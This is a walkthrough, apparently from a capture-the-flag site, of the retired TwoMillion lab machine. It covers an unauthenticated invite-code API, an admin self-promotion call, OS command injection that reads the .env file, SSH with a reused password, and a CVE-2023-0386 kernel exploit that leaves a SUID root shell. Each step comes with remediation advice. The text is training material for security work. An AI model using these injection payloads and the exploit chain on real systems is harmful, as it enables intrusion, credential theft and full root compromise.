← all walkthroughs

TwoMillion

Linux· Easy
owned
2026-06-29
time to own
5m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I called an open, unauthenticated API endpoint to generate a valid invite code, registered a new account, then exploited a missing server-side authorization check to promote that account to administrator. The admin-only VPN-generation endpoint concatenated user input directly into a shell command without sanitization, enabling OS command injection. I used that injection to read the application's .env configuration file, which stored the database password in plaintext.

That same password was reused as the SSH login credential for the local 'admin' system account, granting an interactive shell. From that foothold, I deployed a public exploit for CVE-2023-0386, a Linux kernel OverlayFS SUID privilege-escalation bug, to gain a root shell and capture both flags.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService Enumeration / Virtual Host Discovery
Identified nginx web application and virtual hostname
A port scan revealed SSH on port 22 and an nginx web server on port 80. Direct HTTP requests to the IP address returned a redirect to the hostname 2million.htb. After mapping this hostname locally, I browsed a replica of the original HackTheBox website that required a personal invite code to register a new account.
HTTP/1.1 200 OK Server: nginx — confirmed via curl with Host: 2million.htb
Exact commands 3
Identify open services; reveals nginx on 80 and SSH on 22.
nmap -sV -sC -p 22,80 --min-rate 5000 $TARGET
Observe Location header redirecting to 2million.htb.
curl -sI http://$TARGET
Map virtual hostname for all subsequent requests.
echo "$TARGET 2million.htb" >> /etc/hosts
2Initial AccessUnauthenticated API Abuse / Security Control Bypass
Bypassed invite-only registration with an unauthenticated API call
The application exposed a POST endpoint /api/v1/invite/generate that required no authentication. A single request returned a base64-encoded invite code that decoded to a working registration token, bypassing the invite-gating control entirely.
Server returned {"0":200,"success":1,"data":{"code":"[REDACTED: recovered credential]","format":"encoded"}} — decoded to [REDACTED: recovered credential]
Exact commands 2
No credentials required; server returns a base64-encoded invite code.
curl -sS -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/invite/generate"
Decodes to plaintext invite code: [REDACTED: recovered credential]
echo '$PASSWORD3' | base64 -d
FixRequire authentication to generate invite codesHigh
WeaknessThe /api/v1/invite/generate endpoint accepted POST requests from completely unauthenticated visitors, allowing anyone to generate a working invite code and self-register without being invited.
FixRemove the public endpoint. Invite codes must be generated exclusively by administrators through an authenticated management interface, or distributed out-of-band (e.g., emailed by an admin after manual approval). If open self-registration is a business requirement, gate it behind CAPTCHA and strict rate limiting — never expose invite-code generation to anonymous callers.
3Privilege Escalation (Web)Broken Function Level Authorization (OWASP API5:2023) / BOLA
Registered account, logged in, and self-promoted to administrator via broken API authorization
Using the generated invite code I registered a new account and authenticated to receive a session cookie. The endpoint PUT /api/v1/admin/settings/update performed no server-side privilege check and accepted any authenticated user's request to set is_admin=1 on their own account. My immediately elevated their web role to administrator.
Exact commands 4
Register using the invite code; -c saves session cookie to /tmp/cj.
curl -sS -c /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/user/register" -H 'Content-Type: application/json' -d '{"username":"$USERNAME","email":"$USERNAME@htb.local","password":"$PASSWORD2","code":"$PASSWORD4"}'
Authenticate and capture the session JWT cookie.
curl -sS -c /tmp/cj -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/user/login" -H 'Content-Type: application/json' -d '{"email":"$USERNAME@htb.local","password":"$PASSWORD2"}'
Self-promote to admin — no server-side privilege check enforced.
curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X PUT "http://$TARGET/api/v1/admin/settings/update" -H 'Content-Type: application/json' -d '{"email":"$USERNAME@htb.local","is_admin":1}'
Verify admin status; server returns {"message":true}.
curl -sS -b /tmp/cj -H 'Host: 2million.htb' "http://$TARGET/api/v1/admin/auth"
FixEnforce server-side authorization on all administrative API endpointsCritical
WeaknessThe PUT /api/v1/admin/settings/update endpoint accepted requests from any authenticated user and let them set the is_admin flag on their own account, making privilege escalation a single API call away for every registered user.
FixValidate server-side on every request to /api/v1/admin/* that the calling account is already flagged as an administrator before processing the request. Role changes must originate only from a separately access-controlled management interface or a privileged service account — the privilege level must never be a field accepted from the request body of an ordinary user-facing endpoint.
4ExecutionOS Command Injection (CWE-78)
Injected OS commands through the admin VPN-generation endpoint
The admin-accessible POST endpoint /api/v1/admin/vpn/generate accepted a username parameter and concatenated its value into a shell command without any sanitization. Appending a semicolon and an arbitrary command caused the server to execute both, with the output returned in the HTTP response body, confirming unauthenticated remote code execution as the web process user.
Exact commands 2
Proof-of-concept: confirm RCE — id output appears in the HTTP response body.
curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"$USERNAME; id #"}'
Read the application .env file; response body contains plaintext database credentials.
curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"$USERNAME; cat /var/www/html/.env #"}'
FixEliminate OS command injection in the VPN-generation endpointCritical
WeaknessThe /api/v1/admin/vpn/generate endpoint concatenated the caller-supplied username value directly into a shell command string, giving an unauthorised user arbitrary OS command execution as the web server process user.
FixReplace the shell invocation with a language-native library call (e.g., Python subprocess with a list of arguments and shell=False). If invoking an external binary is unavoidable, strictly whitelist the username to alphanumeric characters and hyphens only and reject any input that does not match. Never build shell command strings by interpolating user-controlled data.
5Credential AccessCredentials in Files / Plaintext Secret Storage
Extracted plaintext database password from the .env configuration file
The command injection output included the full contents of /var/www/html/.env, which contained the line DB_PASSWORD=[REDACTED: recovered credential] in cleartext. This credential was reused as the OS login password for the local 'admin' system account, directly enabling SSH access without any further exploitation.
Exact commands 1
Response includes DB_HOST, DB_DATABASE, DB_USERNAME=admin, DB_PASSWORD=[REDACTED: recovered credential]
curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"$USERNAME; grep -E \"DB_|ADMIN\" /var/www/html/.env #"}'
FixRemove plaintext secrets from web-accessible files and eliminate credential reuseHigh
WeaknessThe application stored its database password in plaintext inside /var/www/html/.env, a file readable by the web process and exposed through the command injection. The same password was set as the SSH login credential for the 'admin' OS account, meaning a single leaked secret granted full interactive shell access.
FixStore all secrets in a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and inject them at process startup via environment variables — never in files inside or beneath the web root. Immediately rotate the exposed credential [REDACTED: recovered credential] on all systems where it was used. Establish and enforce a policy that database passwords are never reused as OS, SSH, or application-user credentials.
6Lateral MovementValid Accounts — SSH Access with Reused Credentials
Logged in over SSH as 'admin' using the reused database password
The database password [REDACTED: recovered credential] was also set as the OS account password for the local user 'admin'. I connected directly over SSH, confirmed a working shell, and captured the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh admin@$TARGET — interactive shell confirmed; user flag captured.
Exact commands 1
Login as admin with the reused DB password; outputs uid, hostname, and user flag (<user.txt>).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 admin@$TARGET 'id; hostname; cat /home/admin/user.txt'
7Privilege EscalationCVE-2023-0386 — OverlayFS SUID Local Privilege Escalation
Exploited CVE-2023-0386 (OverlayFS SUID) to gain a root shell
The host kernel was unpatched and vulnerable to CVE-2023-0386, a flaw in the Linux OverlayFS subsystem that allows an unprivileged local user to copy a SUID binary into a FUSE-backed overlay mount and retain the SUID bit. I uploaded a public exploit, compiled it on my machine, transferred it to the target, and ran the two-component exploit: a FUSE daemon to back the overlay mount and a trigger binary that placed a SUID root shell at /tmp/rootbash. Invoking rootbash -p yielded a uid=0 root session and the root flag.
./fuse ./ovlcap/lower ./gc (background) + ./exp → /tmp/rootbash created; /tmp/rootbash -p -c 'id' returns uid=0(root); root.txt captured.
Exact commands 3
Clone and compile the exploit on my machine (x86_64 Linux target).
git clone https://github.com/sxlmnwb/CVE-2023-0386 /tmp/CVE-2023-0386 && cd /tmp/CVE-2023-0386 && make
Transfer compiled exploit directory to the target host.
sshpass -p "$PASSWORD" scp -r /tmp/CVE-2023-0386 admin@$TARGET:/tmp/
FUSE daemon runs in background; ./exp triggers the SUID copy; rootbash -p gives uid=0. Root.txt value is <root.txt>.
sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null admin@$TARGET 'cd /tmp/CVE-2023-0386; rm -f /tmp/rootbash /tmp/fuse.log; ./fuse ./ovlcap/lower ./gc > /tmp/fuse.log 2>&1 & FPID=$!; sleep 2; ./exp 2>&1; /tmp/rootbash -p -c "id; cat /root/root.txt"; kill $FPID'
FixApply kernel security patches to remediate CVE-2023-0386 (OverlayFS SUID escalation)Critical
WeaknessThe host ran an unpatched Linux kernel vulnerable to CVE-2023-0386, a flaw in the OverlayFS subsystem that allows any local user to obtain a root-owned SUID shell and escalate to full root privileges without requiring any other precondition.
FixApply all available kernel security updates immediately: sudo apt-get update && sudo apt-get dist-upgrade on Debian/Ubuntu, then reboot. The fix is present in Linux kernel 6.2 and later and has been backported to major LTS kernel releases. Confirm the patched kernel is active with uname -r. Establish a patch management policy requiring kernel security updates to be applied within 30 days of release, with critical CVEs accelerated to 7 days.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more